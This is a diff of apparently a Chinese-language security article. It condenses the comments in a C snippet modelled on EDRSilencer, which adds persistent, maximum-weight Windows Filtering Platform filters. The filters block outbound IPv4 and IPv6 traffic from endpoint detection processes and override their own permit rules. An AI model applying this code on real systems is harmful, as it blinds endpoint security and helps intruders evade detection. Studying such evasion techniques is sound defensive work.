@@ -77,174 +77,66 @@ pythonmemorymodule.MemoryModule(data=data)
7777以下是基于 EDRSilencer 核心逻辑的代码片段,展示了如何配置 WFP 过滤器以阻断特定进程的流量:
7878
7979``` c
80- // ==================== WFP 过滤器配置 ====================
81- // 参考: https://learn.microsoft.com/en-us/windows/win32/api/fwpmtypes/ns-fwpmtypes-fwpm_filter0
82-
83- // 设置过滤器显示名称(用于管理界面和 netsh wfp show filters 命令显示)
80+ // 设置过滤器显示名称(用于 netsh wfp show filters 等管理命令)
8481filter.displayData.name = filterName;
8582
86- // -------------------- 过滤器标志 --------------------
87- // FWPM_FILTER_FLAG_PERSISTENT: 持久化过滤器
88- // 特性:
89- // - 过滤器信息存储在注册表 HKLM\SYSTEM\CurrentControlSet\Services\BFE\Parameters\Policy 中
90- // - BFE (Base Filtering Engine) 服务启动时自动加载
91- // - 系统重启后依然生效,直到被显式删除 (FwpmFilterDeleteById0)
92- // - 不能与 FWPM_FILTER_FLAG_BOOTTIME 同时使用
93- // 对比:
94- // - 不设置此标志 = 静态过滤器,BFE 停止或系统关机后消失
95- // - 动态会话过滤器 = 会话断开后自动删除
83+ // PERSISTENT: 持久化过滤器,存储在注册表中,系统重启后依然生效直到显式删除
9684filter.flags = FWPM_FILTER_FLAG_PERSISTENT;
9785
98- // -------------------- 过滤层 (Layer) --------------------
99- // FWPM_LAYER_ALE_AUTH_CONNECT_V4: ALE (Application Layer Enforcement) 出站连接授权层 (IPv4)
100- // 参考: https://learn.microsoft.com/en-us/windows/win32/fwp/ale-layers
101- //
102- // 触发时机:
103- // - TCP: connect() 系统调用时
104- // - UDP: 向唯一远程地址/端口发送的第一个数据包
105- // - ICMP: 第一个出站非错误 ICMP 消息
106- //
107- // 为什么选择 ALE 层而非 Transport 层:
108- // - ALE 层是有状态的 (stateful),每个连接只评估一次
109- // - Transport 层是无状态的,每个数据包都会评估(性能开销大)
110- // - 对于阻断 EDR 的 "首次出站连接" 场景,ALE 层足够且高效
86+ // ALE_AUTH_CONNECT_V4: 出站连接授权层,TCP connect() / UDP首包 / ICMP首包时触发,有状态,每连接仅评估一次
11187filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4;
11288
113- // -------------------- 过滤动作 --------------------
114- // FWP_ACTION_BLOCK: 阻断匹配的网络流量
115- // 其他可选值:
116- // - FWP_ACTION_PERMIT: 允许流量
117- // - FWP_ACTION_CALLOUT_TERMINATING: 调用 callout 驱动处理并终止
118- // - FWP_ACTION_CALLOUT_INSPECTION: 调用 callout 驱动检查但不终止
89+ // BLOCK: 阻断匹配的网络流量
11990filter.action.type = FWP_ACTION_BLOCK;
12091
121- // -------------------- 过滤器权重 (Weight / Priority) --------------------
122- // 参考: https://learn.microsoft.com/en-us/windows/win32/fwp/filter-arbitration
123- //
124- // 权重决定过滤器的优先级,值越大优先级越高
125- // 0xFFFFFFFFFFFFFFFF (UINT64_MAX) = 最高可能权重
126- //
127- // 为什么设置最大权重:
128- // - 确保此过滤器在同一 sublayer 中先于其他过滤器被评估
129- // - EDR 产品自己的 WFP 过滤器可能设置了 PERMIT 规则
130- // - 使用最高权重可以"抢占"优先处理权,覆盖 EDR 的放行规则
131- //
132- // 权重类型说明:
133- // - FWP_UINT64: 显式指定 64 位权重值
134- // - FWP_EMPTY: 由 BFE 自动分配权重 (auto-weight)
135- // - FWP_UINT8: 基于范围的自动权重 (0-15)
92+ // 权重 = 优先级,UINT64_MAX 确保此过滤器先于 EDR 自身的 PERMIT 规则被评估
13693UINT64 weightValue = 0xFFFFFFFFFFFFFFFF ;
13794filter.weight.type = FWP_UINT64;
138- filter.weight.uint64 = &weightValue; // 注意: 传递的是指针
139-
140- // ==================== 过滤条件配置 ====================
141- // 参考: https://learn.microsoft.com/en-us/windows/win32/api/fwpmtypes/ns-fwpmtypes-fwpm_filter_condition0
142-
143- // -------------------- 条件字段键 --------------------
144- // FWPM_CONDITION_ALE_APP_ID: 基于应用程序标识符进行匹配
145- // App ID 是可执行文件的 NT 设备路径,例如:
146- // \device\harddiskvolume1\windows\system32\svchost.exe
147- //
148- // 其他常用条件字段:
149- // - FWPM_CONDITION_IP_REMOTE_ADDRESS: 远程 IP 地址
150- // - FWPM_CONDITION_IP_REMOTE_PORT: 远程端口
151- // - FWPM_CONDITION_IP_PROTOCOL: IP 协议 (TCP/UDP/ICMP)
152- // - FWPM_CONDITION_ALE_USER_ID: 发起连接的用户 SID
153- cond.fieldKey = FWPM_CONDITION_ALE_APP_ID;
95+ filter.weight.uint64 = &weightValue;
15496
155- // -------------------- 匹配类型 --------------------
156- // FWP_MATCH_EQUAL: 精确匹配
157- // 其他匹配类型:
158- // - FWP_MATCH_GREATER / FWP_MATCH_LESS: 数值比较
159- // - FWP_MATCH_RANGE: 范围匹配 (如端口范围)
160- // - FWP_MATCH_PREFIX: 前缀匹配 (如子网)
161- // - FWP_MATCH_NOT_EQUAL: 不等于
97+ // ALE_APP_ID: 按应用程序路径匹配(NT 设备路径格式,如 \device\harddiskvolume1\...\xxx.exe)
98+ cond.fieldKey = FWPM_CONDITION_ALE_APP_ID;
99+ // 精确匹配
162100cond.matchType = FWP_MATCH_EQUAL;
163-
164- // -------------------- 条件值 --------------------
165- // FWP_BYTE_BLOB_TYPE: 字节块类型,用于存储可变长度数据
166- // App ID 是一个 FWP_BYTE_BLOB 结构:
167- // - size: 数据大小
168- // - data: 指向 NT 设备路径的 Unicode 字符串
169- //
170- // appId 通常由 FwpmGetAppIdFromFileName0() 获取
171- // EDRSilencer 自己实现了这个函数以绕过 EDR 的 minifilter 保护
101+ // appId 是 FWP_BYTE_BLOB 结构,由 FwpmGetAppIdFromFileName0() 或自定义实现获取
172102cond.conditionValue.type = FWP_BYTE_BLOB_TYPE;
173103cond.conditionValue.byteBlob = appId;
174104
175- // 将条件数组关联到过滤器
176- // 多个条件之间是 AND 关系(所有条件都满足时才触发动作)
105+ // 关联条件到过滤器,多条件为 AND 关系
177106filter.filterCondition = &cond;
178- filter.numFilterConditions = 1 ; // 只有一个条件: 匹配目标进程
179-
180- // ==================== Provider (提供者) 配置 ====================
181- // 参考: https://learn.microsoft.com/en-us/windows/win32/fwp/object-management
182- //
183- // Provider 是 WFP 对象的逻辑分组机制,用于:
184- // - 标识过滤器的创建者/所有者
185- // - 管理界面中分类显示
186- // - 便于批量查询和删除同一来源的过滤器
187- //
188- // 检查是否已存在同名 Provider,避免重复创建
107+ filter.numFilterConditions = 1 ;
108+
109+ // Provider: 过滤器的逻辑分组/所有者标识,便于管理和批量删除
189110if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
190- // 已存在,复用现有 Provider
191- filter.providerKey = &providerGuid;
111+ filter.providerKey = &providerGuid; // 复用已存在的 Provider
192112} else {
193- // 不存在,创建新 Provider
194113 provider.displayData.name = providerName;
195114 provider.displayData.description = providerDescription;
196-
197- // FWPM_PROVIDER_FLAG_PERSISTENT: Provider 也设为持久化
198- // 确保系统重启后 Provider 信息依然存在
199- provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT;
200-
115+ provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT; // Provider 也持久化
201116 result = FwpmProviderAdd0(hEngine, &provider, NULL);
202117 if (result != ERROR_SUCCESS) {
203118 printf ("[ -] FwpmProviderAdd0 failed with error code: 0x%x.\n", result);
204119 } else {
205- // 创建成功后获取其 GUID 并关联到过滤器
206120 if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
207121 filter.providerKey = &providerGuid;
208122 }
209123 }
210124}
211125
212- // ==================== 添加过滤器到 IPv4 层 ====================
213- // FwpmFilterAdd0 参数:
214- // - hEngine: WFP 引擎句柄 (由 FwpmEngineOpen0 获取)
215- // - &filter: 过滤器配置结构
216- // - NULL: 安全描述符 (NULL = 使用默认)
217- // - &filterId: 输出参数,返回新创建过滤器的 ID (用于后续删除)
126+ // 添加 IPv4 出站阻断过滤器,filterId 用于后续 FwpmFilterDeleteById0 删除
218127result = FwpmFilterAdd0(hEngine, &filter, NULL , &filterId);
219128if (result == ERROR_SUCCESS) {
220129 printf ("Added WFP filter for \" %s\" (Filter id: %d, IPv4 layer).\n", fullPath, filterId);
221130} else {
222- // 常见错误码:
223- // - FWP_E_ALREADY_EXISTS (0x80320009): 过滤器已存在
224- // - FWP_E_INCOMPATIBLE_TXN: 在只读事务中调用
225- // - ERROR_ACCESS_DENIED: 权限不足
226131 printf ("[ -] Failed to add filter in IPv4 layer with error code: 0x%x.\n", result);
227132}
228133
229- // ==================== 添加过滤器到 IPv6 层 ====================
230- // 现代网络环境中 IPv6 流量越来越常见
231- // EDR 可能通过 IPv6 地址与云端通信,因此需要同时阻断
232- // 只需修改 layerKey,其他配置复用
134+ // 同时阻断 IPv6,防止 EDR 通过 IPv6 通信
233135filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6;
234136result = FwpmFilterAdd0(hEngine, &filter, NULL , &filterId);
235137if (result == ERROR_SUCCESS) {
236138 printf ("Added WFP filter for \" %s\" (Filter id: %d, IPv6 layer).\n", fullPath, filterId);
237139} else {
238140 printf ("[ -] Failed to add filter in IPv6 layer with error code: 0x%x.\n", result);
239141}
240-
241- // ==================== 资源清理 ====================
242- // 释放 App ID 占用的内存 (FwpmFreeMemory0)
243- FreeAppId (appId);
244-
245- // 关闭 WFP 引擎句柄
246- // 注意: 由于过滤器设置了 PERSISTENT 标志,关闭句柄不会删除过滤器
247- FwpmEngineClose0(hEngine);
248- return;
249- }
250142```
0 commit comments